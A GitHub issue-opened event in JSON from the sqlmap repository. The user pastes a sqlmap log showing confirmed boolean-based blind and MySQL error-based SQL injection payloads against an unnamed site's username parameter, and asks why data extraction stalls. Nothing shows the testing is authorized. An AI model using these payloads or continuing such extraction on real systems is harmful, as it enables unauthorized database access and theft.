{"action":"opened","issue":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1498","labels_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1498/labels{/name}","comments_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1498/comments","events_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/1498/events","html_url":"https://github.com/sqlmapproject/sqlmap/issues/1498","id":113962718,"number":1498,"title":"[CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)","user":{"login":"Robjw","id":7900293,"avatar_url":"https://avatars.githubusercontent.com/u/7900293?v=3","gravatar_id":"","url":"https://api.github.com/users/Robjw","html_url":"https://github.com/Robjw","followers_url":"https://api.github.com/users/Robjw/followers","following_url":"https://api.github.com/users/Robjw/following{/other_user}","gists_url":"https://api.github.com/users/Robjw/gists{/gist_id}","starred_url":"https://api.github.com/users/Robjw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Robjw/subscriptions","organizations_url":"https://api.github.com/users/Robjw/orgs","repos_url":"https://api.github.com/users/Robjw/repos","events_url":"https://api.github.com/users/Robjw/events{/privacy}","received_events_url":"https://api.github.com/users/Robjw/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":0,"created_at":"2015-10-29T02:02:32Z","updated_at":"2015-10-29T02:02:32Z","closed_at":null,"body":"sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:\r\n---\r\nParameter: UserSearchForm[username] (GET)\r\n    Type: boolean-based blind\r\n    Title: AND boolean-based blind - WHERE or HAVING clause\r\n    Payload: UserSearchForm[username]=1%' AND 3546=3546 AND '%'='\r\n\r\n    Type: error-based\r\n    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause\r\n    Payload: UserSearchForm[username]=1%' AND (SELECT 8185 FROM(SELECT COUNT(*),CONCAT(0x716b767871,(S\r\n\r\n\r\n\r\n[00:55:53] [INFO] testing connection to the target URL\r\n[00:55:54] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS\r\n[00:55:54] [WARNING] reflective value(s) found and filtering out\r\n[00:55:54] [INFO] testing if the target URL is stable\r\n[00:55:55] [INFO] target URL is stable\r\n[00:55:55] [INFO] testing if GET parameter 'UserSearchForm[username]' is dynamic\r\n[00:55:55] [INFO] confirming that GET parameter 'UserSearchForm[username]' is dynamic\r\n[00:55:56] [INFO] GET parameter 'UserSearchForm[username]' is dynamic\r\n[00:55:57] [WARNING] heuristic (basic) test shows that GET parameter 'UserSearchForm[username]' might not be injectable\r\n[00:55:57] [INFO] heuristic (XSS) test shows that GET parameter 'UserSearchForm[username]' might be vulnerable to XSS attacks\r\n[00:55:57] [INFO] testing for SQL injection on GET parameter 'UserSearchForm[username]'\r\n[00:55:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\r\n[00:56:04] [INFO] GET parameter 'UserSearchForm[username]' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable\r\n[00:56:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'\r\n[00:56:04] [INFO] GET parameter 'UserSearchForm[username]' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable\r\nit looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y\r\nfor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n\r\n[00:56:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'\r\n[00:56:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\r\nGET parameter 'UserSearchForm[username]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n\r\nsqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:\r\n---\r\nParameter: UserSearchForm[username] (GET)\r\n    Type: boolean-based blind\r\n    Title: AND boolean-based blind - WHERE or HAVING clause\r\n    Payload: UserSearchForm[username]=1%' AND 3546=3546 AND '%'='\r\n\r\n    Type: error-based\r\n    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause\r\n    Payload: UserSearchForm[username]=1%' AND (SELECT 8185 FROM(SELECT COUNT(*),CONCAT(0x716b767871,(SELECT (ELT(8185=8185,1))),0x71717a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='\r\n---\r\n[00:56:51] [INFO] the back-end DBMS is MySQL\r\n[00:56:51] [INFO] fetching banner\r\n[01:43:45] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)\r\n\r\n\r\n\r\n\r\n\r\nI actually know the database name and I know the database username is 19 chara in length from doing my own boolean-based blind injections.\r\n\r\nEven when using the database name to find tables it just goes for hours, never returns anything.\r\n\r\n\r\nIve tried with no cast too but still didnt return anything.\r\n\r\n\r\nAny help would be amazing thanks in advance."}}